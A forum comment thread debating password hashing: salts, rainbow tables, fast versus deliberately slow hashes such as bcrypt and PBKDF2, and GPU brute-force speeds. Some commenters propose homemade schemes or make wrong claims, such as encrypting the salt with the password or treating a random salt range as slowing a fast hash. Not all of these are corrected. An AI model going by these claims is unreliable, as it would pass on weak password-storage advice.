My philosophy is to make a very secure password and then keep it written and on my person until I completely memorize it. It doesn't have to make sense, it sure as hell won't be my anniversary or birthday. You've got a much less likely chance of kicking my ass and taking that piece of paper, compared to setting up a script to crack it.

To this day, the most secure form of sending a message is still a live messenger - codes can be cracked and transmissions can be intercepted. People are harder to break.

What you want to use is something that will not be trivial to brute force. Instead of doing 2300 million attempts per second, you want something that limits an attacker to 10,000 or 100,000 attempts per second.

Not being a security guru, why would you even give someone 10k or 100k attempts/second? I'd want to keep that number as low as feasibly possible, per account.

Re:Password Security.

[Anonymous Coward]

Not being a security guru, why would you even give someone 10k or 100k attempts/second?

Without RTFA (what, did you expect me to?) I would guess that the point there is that once your database leaks you can't restrict the number of attempts per second.

Re:Password Security.

[vlm]

Not being a security guru, why would you even give someone 10k or 100k attempts/second? I'd want to keep that number as low as feasibly possible, per account.

Attacker sql injected (or whatever) a "select * from passwordstable" and now have a local copy. Then on their local box, or cloud provider, or another victims box / cloud, they crack the passwords table using their own resources. You have no way to rate limit them other than making it computationally intensive. I think you're thinking of something like "fail2ban" on your locally installed app.

Re:Password Security.

[John Marter]

Moreover, you generally have a pretty good intrusion detection system for a password kept on your person. If it has been compromised, you'll know it and can change the password.

Re:Password Security.

[Hatta]

Not being a security guru, why would you even give someone 10k or 100k attempts/second?

He's talking about an attacker that has the password hash already, and can go about breaking it on any system he pleases. As a sysadmin you have no control over how many attempts per second he can make in that situation. All you can do is make the calculation more computationally complex.

Re:Password Security.

[Onuma]

That makes more sense. I appreciate the clarification. I work more on the transmission / RF side of communications, with only minor dabbling in system administration; that article had a lot of jargon that I'm not familiar with. Sometimes you've just gotta dumb it down for us telecomm guys :P

They don't necessarily get the salt

[mysidia]

When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."

Not if you encrypt the salt using the password.

Password Hash = SHA256( AES_ENCRYPT( SALT using PASSWORD ) )
Salt Hash = SHA256( SALT )

Authentication: user enters password
Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?
Yes: Password Entered Correctly
No: Access Denied

Re:They don't necessarily get the salt

[Anonymous Coward]

Doesn't making a new password there require knowledge of the SALT?
So if the server was compromised they would have it?

captcha: respond

Re:They don't necessarily get the salt

[spikenerd]

Not if you encrypt the salt using the password.

The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password. Thus, you have merely doubled the amount of computation required to obtain the password. In most security philosophies, increasing the required computation by a polynomial factor does not make it more secure.

Re:They don't necessarily get the salt

[sgbett]

The purpose of the salt is to stop people using pre-computed rainbow tables.

With a different salt per password (even known) they have to generate rainbow tables per salt/password.

If the salt is the password then you only need generate one rainbow table to crack the whole list.

Re:They don't necessarily get the salt

[PRMan]

Yeah, I was wondering whether the GP was serious or trying to be funny. It's really hard to tell, because anyone that understands what salt is for will instantly see the humor in the suggestion. But since most people are cargo cult-ers when it comes to salt, I really could see someone thinking they were being extra clever.

Re:They don't necessarily get the salt

[mysidia]

The whole point of salt is to mitigate a dictionary attack.

No.... the point of a salt is to prevent optimization of dictionary attacks by using rainbow tables, or making an efficient database of pre-computed common passwords (for example). Common uses of salts do not prevent dictionary attacks, they make them take longer and require more computational power.

With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password. Thus, you have merely doubled the amount of computation required to obtain the password.

Um... I don't know what computational world you live in where requiring TWO dictionary attacks is merely doubling the effort required.

In regards to, dictionary attacking the SHA256( AES_ENCRYPT( SALT using PASSWORD ) )

It's really only one dictionary attack anyways....
SHA256( AES_ENCRYPT( SALT using password guess ) ) eq Password Hash

Once the right password guess is made, the salt is known to the attacker.

Re:They don't necessarily get the salt

[0123456]

The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password.

How are you going to perform a dictionary attack when the salt is just a random number? For a brute-force attack you need to know that the value you've decrypted is the correct one, and if the value is just a random number you have absolutely no information to tell you whether it's valid.

Re:They don't necessarily get the salt

[sgbett]

I was also wondering as I wrote the reply whether I was just being strung along. I thought it was better to take the hit and look a fool, even it stopped just one person actually doing this!

Re:They don't necessarily get the salt

[0123456]

Ah, of course you can take the password and the salt and then hash them to check whether the password and salt are correct. But then you're still stuck with trying all possible passwords until you find the correct one instead of using tables to speed up your brute force attack.

I agree then, encrypting the salt with the password doesn't provide any real benefit. But you won't be performing a separate attack on the salt and then the password, you'd just decrypt the salt with each possible password, hash it along with the password and see if that password matches the stored hash.

Re:They don't necessarily get the salt

[Anonymous Coward]

How do you know which rainbow table to generate if you don't know the salt and only know the hash of the salt, and the salt was generated from a long random (non-wordt) string? You'd need to brute force the salt before you can generate a rainbow table, meaning you've just made rainbow tables impractical.

Re:They don't necessarily get the salt

[Millennium]

Um... I don't know what computational world you live in where requiring TWO dictionary attacks is merely doubling the effort required.

This one. Running an algorithm twice means double the effort spent, at least in terms of time (assuming that the password and salt are the same length). You could get the same effectiveness by adding a single bit to the salt, which then could be said require two attacks: one assuming that the salt bit is 0 and one assuming that it is 1. Add another bit to the salt, and you need four attacks, one each for 00, 01, 10, and 11. Add a third bit to require eight attacks, and so on. This is why salts are effective.

However, you're right that encrypting the salt with the password renders the salt useless: finding the salt will give you the password, and vice versa. You could get somewhat more mileage by encrypting the salt using some other key than the password -that way, finding one won't give you the other- but you still don't gain very much by doing so. You'd likely gain more, even if the salt is stored in the clear, by adding another byte to it.

Re:They don't necessarily get the salt

[Stellian]

Password Hash = SHA256( AES_ENCRYPT( SALT using PASSWORD ) )

  Salt Hash = SHA256( SALT )

  Authentication: user enters password

    Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?

This calls for a bit of algebra. You say:
SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) = SHA256( SALT )
Ignoring collisions:
AES_DECRYPT ( Password Hash using PASSWORD ) ) = SALT
Replacing Password hash defined by you:
AES_DECRYPT ( SHA256( AES_ENCRYPT( SALT using PASSWORD ) ) using PASSWORD ) ) = SALT [1]

But obviously:
SALT = SALT
AES_ENCRYPT( SALT using PASSWORD ) = AES_ENCRYPT( SALT using PASSWORD )
AES_DECRYPT ( AES_ENCRYPT( SALT using PASSWORD ) using PASSWORD) = SALT [2]

[1]+[2]:
SHA256( AES_ENCRYPT( SALT using PASSWORD )) = AES_ENCRYPT( SALT using PASSWORD )
In conclusion,
SHA256( K ) = K

Now that's what I call a cryptographic breakthrough ! Who knew ?

Re:They don't necessarily get the salt

[mysidia]

Sorry... I mean: server stores a vector T, after generating a 256-bit salt from a high-entropy source:

T = < ENCRYPT ( salt with password K), HASH( salt S) >

To authenticate, user submits K. Server computes

A = HASH ( DECRYPT ( T[1] with K ) )

If A = T[2], then we have successful authentication.

Re:They don't necessarily get the salt

[Stellian]

Ok, that's functional, but that does not buy you more security. I will brute force the authentication relationship:

T[2] = HASH ( DECRYPT ( T[1] with K ) )

with various values for password K, until I get a match. T[1] and T[2] are fixed and known to the attacker, since he has a copy of the password database. I don't need the salt value, what I care about is the password, and the scheme does not add entropy to the password. Unlike what some posters claim above, forcing the attacker to brute-force an encrypted salt in order to obtain the password would be a major victory (a 256 bit random password is impossible to brute-force); however this scheme does not achieve such a goal.

Re:They don't necessarily get the salt

[Twylite]

For a start, since the password is not necessarily 128/192/256 bits, you need KEY = SHA256(Password), T[1] = AESENC(Salt with KEY). Second, this raises the complexity of a brute-force attack by a factor of 3. That's all. Given a guess at the password, you are computing SHA256 + AES + SHA256, and an AES encryption is similar in speed to a SHA256 hash. The fact that the salt is encrypted is completely irrelevant. If, instead, you keep the salt in the clear and iterate the hash 1000 times, the complexity of a brute-force attack is raised by a factor of 1000.

Re:They don't necessarily get the salt

[Anonymous Coward]

This method is not bad if done correctly. I use this in web sites. Sure, you can get a single users password if you try hard enough, but that is all you are getting. You won't get the passwords through root access.

Re:They don't necessarily get the salt

[Anonymous Coward]

Password Hash = SHA256( AES_ENCRYPT( SALT using PASSWORD ) )
Salt Hash = SHA256( SALT )

Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?

Wait, let me rephrase that question in your terminology:
Does SHA256 ( AES_DECRYPT ( SHA256 ( AES_ENCRYPT ( SALT using PASSWORD ) ) using PASSWORD ) ) equal SHA256 ( SALT )?

- I didn't know that AES decryption was distributive over SHA256 hashing.
- I didn't know that SHA256 ( SHA256 ( x ) ) == SHA256 ( x ).

Of course, perhaps I misunderstand you regarding the first property, in which case the 2nd doesn't apply either.
But then, I don't get how the hash of a decryption of the hash of the encryption of the salt gets you the hash of the salt.

Or did you mean something like:
pwdhash = Enc(Sha(salt), passwd)
salthash = sha(salt)
Auth success: enc(salthash, passwd) =?= pwdhash

Sidenote: if an attacker has root to a box, he can sniff the password when it's being send -- ergo he will get the passwords.

Re:They don't necessarily get the salt

[Anonymous Coward]

But with this method you can easily have a very long salt (several Kb) because you don't have to store it. Good luck with your dictionary attack on the salt ! :-)

Re:They don't necessarily get the salt

[Anonymous Coward]

Not if you encrypt the salt using the password.

The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password. Thus, you have merely doubled the amount of computation required to obtain the password. In most security philosophies, increasing the required computation by a polynomial factor does not make it more secure.

You are not doubling it, you are multiplying it. You cannot make a dictionary attack to obtain the salt because you have nothing to compare the salt against. You have to run your whole dictionary SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash for each time you try your dictionary try of each salt.

Re:They don't necessarily get the salt

[Anonymous Coward]

The whole point of salt is to mitigate a dictionary attack. With your approach it would only take one dictionary attack to obtain the salt, and then another one (using the obtained salt) to obtain the password.

The point of a dictionary attack is that the attack is limited to a well-defined number of combinations. The salt chosen for the method outlined above can be arbitrarily complex (as it is not created by a user) and thus not covered by a dictionary attack.

But, to be on the safe side, one could also turn the method around and say:

Password Hash = SHA256( PBKDF2(Password, Salt) )
Encrypted Salt = AES_ENCRYPT( SALT using PASSWORD)

Authentication: user enters password
Decrypted Salt = AES_DECRYPT(SALT using PASSWORD)
Password Hash = SHA256( PBKDF2(Password, Salt) )
Compare.

As the attacker has no way to verify the result of the decryption without following up with hash calculation and comparison, the security is at least as good as if the attacker would not know the salt.

Re:They don't necessarily get the salt

[Anonymous Coward]

Huh? A dictionary attack on a long (say, 1024 characters), randomly generated sequence?

Yeah. Good luck with that.

Re:They don't necessarily get the salt

[Anonymous Coward]

Yeah, sorry, that doesn't make any sense. You don't have a salt, here. All you're doing is encrypting a piece of plaintext with the password, and then on the authentication side, you just decrypt the text and compare it to a hash of the original plaintext. This is closer to a signature than a salt.

As such, it's clearly vulnerable to a simple dictionary attack, which actually makes it far worse than a traditional salt+hash scheme.

But thanks for illustrating a very important point: fucking amateurs shouldn't be allowed to invent new cryptography schemes. They'll inevitably get it wrong.

Re:They don't necessarily get the salt

[mysidia]

I don't need the salt value, what I care about is the password, and the scheme does not add entropy to the password.

No scheme can add entropy to a password: that is actually an impossible feat, aside from multiple user passwords, or multi-factor auth, where one factor's authenticator is encrypted using another of the user's factors or passwords. The purpose of salting is to prevent pre-optimization of a brute force attempt, to ensure each password has to be individually cracked, rather than 'looked up' in a table of common password hashes.

Any additional encryption is merely to keep a representation of the password away from attackers. And yes, this does increase work for attackers.

Especially if you don't stop there..........

Key MKey_secret = master RSA secret key not stored on server, provided by admin at authentication program startup
Salt S1 = generate_random_bits()
Salt S2 = generate_random_bits()
T = ENCRYPT_RSA(< HASH( ENCRYPT ( salt S1 with password K) ), ENCRYPT( salt S2 with salt S1 ), HASH( salt S2) > with MKey_public)
A = HASH ( DECRYPT( T[2] with DECRYPT ( DECRYPT_RSA( T[1] using M) with K ) ) )
Authenticate: Does A equal T[3] ?

Re:They don't necessarily get the salt

[Anonymous Coward]

Does SHA256 ( AES_DECRYPT ( Password Hash using PASSWORD ) ) equal Salt Hash ?

Ah, I thought we were trying to avoid storing the password in plain text... back to the drawing board.

Re:They don't necessarily get the salt

[Stellian]

No scheme can add entropy to a password: that is actually an impossible feat, aside from multiple user passwords, or multi-factor auth, where one factor's authenticator is encrypted using another of the user's factors or passwords. The purpose of salting is to prevent pre-optimization of a brute force attempt.

Clearly the entropy of the password is constant regardless of the algorithm, however a good key strengthening or key stretching algorithm can force the attacker to make more steps for a brute-force attack, just as if a longer key was used, hence their name. As Twylite explains bellow you schemes add only a few bits of extra effort to the attacker.

The purpose of salting is well achieved with a straight Hash(password + salt) scheme, as well as using your scheme. So there's no need to bring Rainbow tables/dictionaries into discussion. You seem to operate under the impression that your scheme will improve resistance to online, non-precomputed brute-force attacks versus the straight Hash(password + salt), which it does not.

Separate out the Authenticaton

[qwertphobia]

This wouldn't be an issue if AAA (authentication, authorization, accounting) was handled as a separate function.
Root access to the application server does not automatically become root access to the password database.
The password system should be approved/denied and not just a database of the hashes.

Check out Apple's Open Directory as a good example.

using game of life?

[Gunstick]

What about using a cellular automate?
A silly idea I just had yesterday.
Take a grafical representation of the password, then "hash" it by running 100 generations of life through. Store the result as the hash.
The salt would be an additional life colony so that after 100 generations you're not going to end up with a dead colony.

Oh, I can't patent the idea, I'm not the first one thinking of that. http://kestas.kuliukas.com/GameOfLife/

Re:using game of life?

[vlm]

What about using a cellular automate?
A silly idea I just had yesterday.
Take a grafical representation of the password, then "hash" it by running 100 generations of life through. Store the result as the hash.
The salt would be an additional life colony so that after 100 generations you're not going to end up with a dead colony.

Oh, I can't patent the idea, I'm not the first one thinking of that. http://kestas.kuliukas.com/GameOfLife/

GoL isn't as good of a hash compared to a more traditional hash. First thing that comes to mind is some hashes can spread a single bit change faster than GoL's "speed of light" limitation. The "c" limit in GoL is that a glider etc cannot move faster than a cell per generation in any direction, but I think there are hashes where a single bit change can spread across the hash faster than one adjacent bit per complete hash function. One generation of MD5 beats 50 generation of GoL on a 100x100 board in terms of smearing that single bit across the result.

Also you can get into huge arguments but generally running a hash multiple times doesn't spread the bits much better than running it once.

Re:using game of life?

[Gunstick]

Well as we seek SLOW routines for password hashing, if you need 1000 GoL generations to get something really usable, well so that's it. Slow as hell. Exactly what is needed to secure a password.
You can't use GoL to hash a complete file, there you need a fast hash function.

Re:using game of life?

[aiht]

Another problem with the GoL is that it becomes less random over time, not more. A large proportion of random starting points will end with the same fairly predictable outputs: a blank slate or some configuration of well-known stable forms like blinkers, 2x2 squares, etc.
A graphical representation of the output of MD5 or SHA should look like random speckling.

Re:"Maybe enforce three word minimum"

[Joce640k]

One of the most common passwords of all time is "iloveyou" so I'm not sure that will help.

The trouble with making things foolproof is that fools are very resourceful people...

Iterated hashing...

[aaaaaaargh!]

I'm skeptical about schemes like PBKDF2. Doesn't the passphrase loose entropy each time you hash it? Instead, for iterated hashing it's probably better to use a one of the methods of transforming a conventional block cipher into a hash function. Anyway, what you should worry about is not so much the hashing itself but the entropy of the passphrase.

For example, I doubt many human-invented passphrases would stand a chance against a cleverly-generated, terabyte-sized dictionary. Heck, most people use "1234" anyway, don't they?

Re:Iterated hashing...

[gweihir]

The passphrase does not loose any entropy in hashing, unless it has more bits of entropy than the hash result length. Then it looses the extra bits in the first iteration. No significant additional loss after that. This is ensured by the design principles of a crypto-hash. One of these is that the output space needs to be covered. With that zero entropy loss is ensured, as long as you do not put in more entropy as can be represented in the output. Even if you have a few values that cannot be in the output, like all-zero, unless you have these values in the input, you also never loose anything.

So, don't worry about it, PBKDF2 is sound.

Re:Iterated hashing...

[Anonymous Coward]

I am very familiar with the question you raised, and I've thought about an equivalent situation. I suspect that the rate at which entropy is lost will be highly dependent upon the specific hash function being used.

I have spent quite a lot of time looking for books/papers that consider the effect of repeated application of hash functions, with little success. In fact, disturbing as it sounds, it seems that we assume the irreversibly of one-way cryptographic hash functions on no stronger basis than that we haven't found an efficient algorithm yet. I had always assumed that there would be a more rigorous basis, but if one exists, I've not found it yet.

If we assume a hash function H(x), and apply it recursively, to what extent does H(H(x)) 'leak' information about x? To me, this seems an intriguing question - possibly related to asking how often one has apply H() to get an identity operation for a particular subset of initial values... or asking if analysis of successive applications of H() yields a sequence in which statistical analysis gives any useful insights into an initial input.

Re:Iterated hashing...

[aaaaaaargh!]

You haven't convinced me yet. I have definitely heard otherwise from experts (but I'm myself not an expert on this).

Hash functions are generally many to one and have collisions. Doesn't that already suffice to prove that each application must result in a loss of entropy even when the input has the same size as the output block size? (I don't see the relation to the dispersion qualities of the function that you mention.) I recall having once read that the entropy of repeated iterations of the same secure hash function converges to n/2, where n is the original entropy. Doesn't Schneier say something like that, too?

Re:Iterated hashing...

[shic]

While I don't want to argue that PBKDF2 is unsound, I don't believe you about "zero entropy loss" - if this were true, then general purpose hash functions could all be proven to be perfect hashes when recursively applied to their own output. I don't believe this is the case, but - of course - if you've any evidence, I'd love to see some...

Re:Iterated hashing...

[gweihir]

Your many-to-one and collision argument is always for an input larger than the output and hence does not hold for iterated hashing. I am not aware of any proven collisions for input in the size of the output.

What I consider possible, is that in pure hashing would indeed (but very, very slowly) converge to entropy 0. A convergence to n/2 seems rather unlikely. In any case, this effect should not be relevant for a mere 1'000'000 iterations.

Re:Iterated hashing...

[rochberg]

Really, the main point of PBKDF2 is to slow down the verification process artificially and raise the computational requirements of the adversary. If an attacker can check 10,000 passwords in a second, then requiring 10,000 iterations of the hash means he can only check one password a second. Add a unique 4096-bit salt, and the average time to crack a single password (assuming no pre-computation) becomes 2^2048 seconds. And you can't really do pre-computation, because you can't store (and efficiently search) rainbow tables for passwords with all possible salts for all possible hash iterations between 1 and 10,000.

I think your concern is that the hashes somehow converge after repeated iterations. No, that doesn't happen with cryptographic hashes.

Re:Iterated hashing...

[gweihir]

I said "no significant loss" very carefully. I am not sure about zero loss at all. It can however not be more than very, very small losses, otherwise collisions would be easy to find for hash-length inputs, as each loss of a bit for a specific input implies a collision. We are talking 100'000-1'000'000 iterations here. That is not a lot and I doubt we get relevant effects.

Side-note: In practice, you can use crypto-hashes as perfect hashes, as the collision probability is far lower than other things going wrong, for example your code spontaneously being changed by cosmic particle before deployment and after testing. However you can only use it for compare-by-hash, since you cannot build the large tables needed for use in a hash-table.

Re:Iterated hashing...

[aaaaaaargh!]

I think your concern is that the hashes somehow converge after repeated iterations. No, that doesn't happen with cryptographic hashes.

No, I was really just worried about entropy loss, as I wrote. There was an extensive discussion about this many years ago at sci.crypt and the general consensus was that iterated hashing results in entropy loss---albeit a very, very slow one. Whether this could be used for any practical attack is another matter. I don't know.

Anyway, if you use a symmetric block cipher for intermediary steps (after first hashing) there should be no additional loss of entropy and so such a scheme for iterated hashing seems to have advantages over iterating the secure hash only as in PBKDF2. (I'm not convinced that, as another poster seems to have suggested, secure hash functions do not have collisions for input the same size as the output---although that would certainly be a nice property if it could be proved for such a function.)

No kidding.

[Stumbles]

That's about the most "Duh" article. Anyone with half a brain should know if they are already in all bets are off and it matters not a whit if you used corned beef to generate your hash.

Re:No kidding.

[wealthychef]

That's about the most "Duh" article. Anyone with half a brain should know if they are already in all bets are off and it matters not a whit if you used corned beef to generate your hash.

Finally! Man I was starting to think I was reading the world's first Slashdot article to have nothing but honest discussion, without trolls, jokes, offtopics or idiots! You broke the spell.

the problem: hacker already has full control

[Anonymous Coward]

>quality of your salt values doesn't really matter when an attacker has gained full control
That's true no matter what once the system is compromised! Salts are stored in clear text in the password file

No it isn't that relevant.

[Anonymous Coward]

The function of the hash is to make it computationally infeasible to calculate back from the output what the input was, irrelevant of the actual input. The output is then unidirectionally linked from the input so only the correct password (with a chance of 1/(2^(bits in hash - 1))) can be used to log in. Salts serve to complicate pre-computed sniffing (since you cannot precompute what effect the salt would have on your hash) and comparison (since two identical passwords aren't the same hash). So, net result:

- It really doesn't matter where your salts come from. Even if it's just a counter, your passwords will all be hashed with a different salt and will be different. The attacker cannot just compare passwords and he'd have to recreate rainbow tables for each password yet again, making it 2^(bits in hash) per password, instead of 2^(bits in hash) one time.

- Hashes aren't so much made for speed as for the knee-point of sufficient diffusion versus high speed. Weaker hashes may be slightly quicker but are lots weaker, stronger hashes would be much slower but not much stronger. The bit length of properly designed hashes is indicative of their strength; if they cannot do that (as MD4 couldn't after scrutiny) its diffusion isn't sufficient.

So yes, SHA1 + salt is enough for your passwords if you have sufficiently many different salts and use it properly, and if 160 bits are enough for your data (or how many bits of actual diffusion result from its usage, I believe it'd been reduced slightly). If you need 512 bits of resistance (which you *most likely* don't) try Skein.

Re:No it isn't that relevant.

[makomk]

Hashes aren't so much made for speed as for the knee-point of sufficient diffusion versus high speed.

Most common hashes are designed for speed, though - more specifically, they're designed to be fast to compute in software rather than just in hardware. As it happens, this is actually a good thing - it means a determined attacker can't get as much of a speed-up relative to the software implementation by constructing a hardware brute-forcer.

Re:First Post!

[WrongSizeGlass]

First post!

Your failure to properly encrypt your post has left it vulnerable to many eyes. Maybe you should have RTFA?

Are MD and SHA easily reversible?

[Frogg]

I don't get it - surely it shouldn't matter if someone gains access to the password verification routine, the salt and the encrypted passwords... unless the password hashing/encryption is easily reversible?

They've still got to try and brute force match the encrypted data with a dictionary attack - sure, having the salt makes it easier - but if you've got the salt and the encrypted passwords it doesn't matter what encryption algorithm is used, you've still got to use a brute force dictionary attack. Most encryption algorithms aren't easily reversible - and that's the whole point.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

http://codahale.com/how-to-safely-store-a-password/

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

His point is that because the algorithms are fast, the brute force attack is feasible.

If you read the article, he specifically mentions* that with relatively modest hardware an attacker can brute force a "typical" password file in 33 days.

*Actually he says that you can cover the same ground as a typical rainbow table in 33 days, but the statements are close enough and I don't expect everyone to know what that means. What I stated is close enough for most purposes.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

Encryption should never be used to protect a plaintext password, only a hash (ie, a "one-way" function).

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

The problem is that these general purpose hashes are so fast that brute forcing is relatively trivial.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

Well, I the point of the article is that with a few GPU cards an attacker can brute force attack your hashed password set fairly handily, esp if you are using unsalted hashes. Salts help, but the power that an attacker can bring to the table (quite inexpensively) is on the verge of negating the advantages of a salt.

Basically statements like "Most encryption algorithms aren't easily reversible" are not quite true any more. No they aren't easily reversible, but it can be done relatively quickly regardless.

Re:Are MD and SHA easily reversible?

[djshaffer]

Not only that, but when salt is done correctly you don't care if the attacker has the salt.

The steps:

* Salt every password with a different salt value.
* Store the salt with the hashes.
* If an attacker gets your user file he has to brute force each password separately, instead of using a rainbow table.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

The whole point is that MD5/SHA* are _fast_. Why use a fast algorithm to encrypt/hash something that you don't need speed for? A fast algorithm just makes brute-forcing passwords faster.

Re:Are MD and SHA easily reversible?

[Frogg]

Ok - yeah, my point was valid, but the problem space is indeed not very large for 6-character alpha-numeric passwords.

But I stand corrected, because as the AC points out with the posted link: using a slower algorithm will indeed throw a spanner in the works for any cracker.

In the past we've implemented password hashing using Blowfish, and we set a minimum password length of 8 - which is an improvement I guess.

Why isn't Bcrypt benchmarked on the page linked to (http://www.cryptopp.com/benchmarks-amd64.html) from the how-to-safely-store-a-password page? It makes it difficult to make a true comparison.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

The problems are;
* If authentication doesn't rely on sending the plain text password to the server and instead involves a salted hash exchange (like http-digest authentication) then having possession of the salt and hash is all you need to authenticate.
* You can offline brute force the passwords quickly because of how fast these hashed can be computed. Depending on how the salting is performed, it could allow caching partial results allow even faster brute forcing.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

Yes, but the point is that MD5 and SHA are build for speed, and it's trivial to brute force EVERY POSSIBLE PASSWORD using modern hardware in a reasonable amount of time. Use bcrypt because it's slow :)

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

The argument in TFA is that a serious attack can brute-force billions of attacks a second. Therefore, the easily-computable hashing algorithms are unsafe. You should be using something that will take far longer to generate each hash of passwordGuess+salt.

Re:Are MD and SHA easily reversible?

[xxxJonBoyxxx]

I'm troubled that you're mixing hashing/encryption together. I think you want to think of things in this way:
- Hashing = ONE WAY, destructive but unique signature representing some data (hashes are fixed length, no matter the length of the source data).
- Encryption = TWO WAY, transformation that hides data, but the data remains recoverable (encrypted data is usually as proportionally long as the source data)

The reason that rainbow tables (massive lists of known password/hash combinations) can be used to "extract" passwords from hashes is that the discovered passwords have a matching hash entry in the rainbow table. There's no reversing going on here, nor could there be because of the destructive (one way) nature of hashes.

One reason to still protect access to the routine, salt and password HASHES is that its pretty easy to build your own application-specific rainbow table if the routine and salt are known; and then that can be used to look up passwords from the application's store of credentials.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

You are right that they aren't easily reversible but they are easily computable, so as time goes on and we have access to faster hardware those passwords will be trivial to brute force. Another problem is that these algorithms are easy to implement in hardware and parallelize so you can already rent a GPU cluster server from Amazon and use those to brute force your passwords.

Re:Are MD and SHA easily reversible?

[the_olo]

I don't get it - surely it shouldn't matter if someone gains access to the password verification routine, the salt and the encrypted passwords... unless the password hashing/encryption is easily reversible?

They've still got to try and brute force match the encrypted data with a dictionary attack - sure, having the salt makes it easier - but if you've got the salt and the encrypted passwords it doesn't matter what encryption algorithm is used, you've still got to use a brute force dictionary attack. Most encryption algorithms aren't easily reversible - and that's the whole point.

Did you RTFA?

The point is that typically used hash algorithms are designed for speed, which makes brute forcing much easier. For this task, a deliberately slow hash algorithm, like bcrypt, should be used, making the brute force attack much less (like 5 orders of magnitude) feasible.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

The point is that testing every hash is getting easier and inexpensive. They can't reverse it, no.

Re:Are MD and SHA easily reversible?

[Entrope]

Making the algorithms more complicated does not help much; faster silicon gets cheap too quickly. The only way to really make it harder to break a leaked password file is to increase the search space. This means not re-using passwords, and having important passwords be strong.

I was shocked that, according to the page linked in http://it.slashdot.org/comments.pl?sid=1987632&cid=35149998, a standard pwgen password -- typically 6 phonemes out of a set of 40, with one or two capitalized, and a digit inserted somewhere -- could be brute-forced in about 450 seconds on the fastest GPU.

(My math: 40 ** 6 * 6 * 6 * 7 options, for six phonemes, six options for each of the capitalizations assuming they aren't at the same place, and seven options for where to put the digit. That is just over a trillion combinations, versus 2.3 billion SHA-1 calculations per second for a single card, and ignores that pwgen reduces its key space by trying to make the result sort of pronounceable.)

Increasing the pwgen output length to ten characters -- which means ~8 phonemes -- increases the worst-case search time to 19 days, which is still not that great; on average, it will take half that long to find a matching password. Perhaps I should switch to 12-character passwords, which should keep me safe for more than a century of today's hardware. If Moore's Law holds up for the next 15 years, though, that 12-character password could be brute-forced in 20 days again.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

Having the salt and algorithm used allows you to create a rainbow table using dictionary and common password set. You still have to check the encrypted values against the rainbow table, but it's not nearly along the same lines as having to brute force each password and it will likely give you the vast majority of the passwords.

Re:Are MD and SHA easily reversible?

[gweihir]

The thing is that if you can compute the hash very fast, you can easily try a lot of combinations. High-entropy passwords (say, > 64 bits) are still secure, as the attacker needs to try too many combinations to find them. But low-entropy passwords are easily reversed.

Example: Say, the user uses only 32 bits entropy, as letters and digits. That would be 6 random letters and digits. Assume a single SHA1 pass. You can do about 200MB/s SHA1 on a current CPU core, that means about 1 million SHA1 operations/second. To try the whole 32 bit space of 6 random letters and digits takes then about 1h.

If you take into account that a 32 bit entropy password is already more complicated than what most users use, you can see why most single-hashed passwords can be recovered in a matter of hours. A partial solution is to iterate the hash, say 1'000'000 times. That increases the attacker effort 1'000'000 fold and costs you 1 CPU-second per log-in. Of course, the real solution is high-entropy passwords. I use 12 random characters+letters for things that need to be secure. But most users do not even begin to be able to handle that, hence salting and iteration.

BTW, all this is well known. The real problem here is that these developers did not bother to spend even one hour on researching the subject.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

Exactly, the author is missing a major point of salting your password, which is to prevent attackers from using rainbow tables to find collisions. So even if an attacker gains access to your salt they will still need to make an average of 2^127 attempts to get a collision for each SHA1 hash (provided that the attacker doesn't know the length of the password).

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

Such a low UID, but your post...so troublesome.

First off, we need to define: "easily reversible". But I'm too lazy to do that--For educational purposes, I just need to get *you* to distinguish between "cryptographically easy" and "practically easy".

To better illustrate the point, permit me an outrageous claim. I can crack AES256.

Specifically--I can execute a known plaintext attack such that if you provide me a blackbox that given a plaintext message P, returns a ciphertext C utilizing a key K. Given your black box, if you construct any message of length 2 characters, and provide me with the encryption of it... I can give you the original plaintext near effortlessly. For effortlessly meaning "practically" speaking. I'll only have to try all (26+26+10+10)^2 messages. Piece of cake for a computer.

So, you provide me C = E(P,K). And you're willing to provide me with
  C' = E(AnythingIPick, K).

If AnythingIPick contains at most 9999 possibilities (pretend you encrypted a pin number)--cake!

The difference here is--the AES algorithm is cryptographically sound. The image space of your *effective* hash or encryption function is too small and trivially searchable.

Encryption is "good" when the best attack is an exhaustive search of the keyspace. A hash is good when I have to exhaustively search the message space to find a collision.

If your limit your message to a space I can search in 5 minutes...the encryption/hash algorithm is fine. Your use of it however...well...that's got problems for being out of spec.

Re:Are MD and SHA easily reversible?

[josath]

Yes it de...but having the salt means he can do a dictionary attack, easily breaking badly chosen passwords. If he has only the hash but without the salt, dictionary attacks would be impossible, requiring him to do the much more costly & slow pure brute force attacks.

Re:Are MD and SHA easily reversible?

[Anonymous Coward]

There is no need for "deliberately slow hash algorithms". By adding a random salt you can turn a fast hash algorithm into a slow one. You control the slowness factor by controlling the range of the random salt. For example you can make login take 1 cpu-second if you want, and then hackers have to spend 1 cpu-second of work for each try.

Re:Are MD and SHA easily reversible?

[djshaffer]

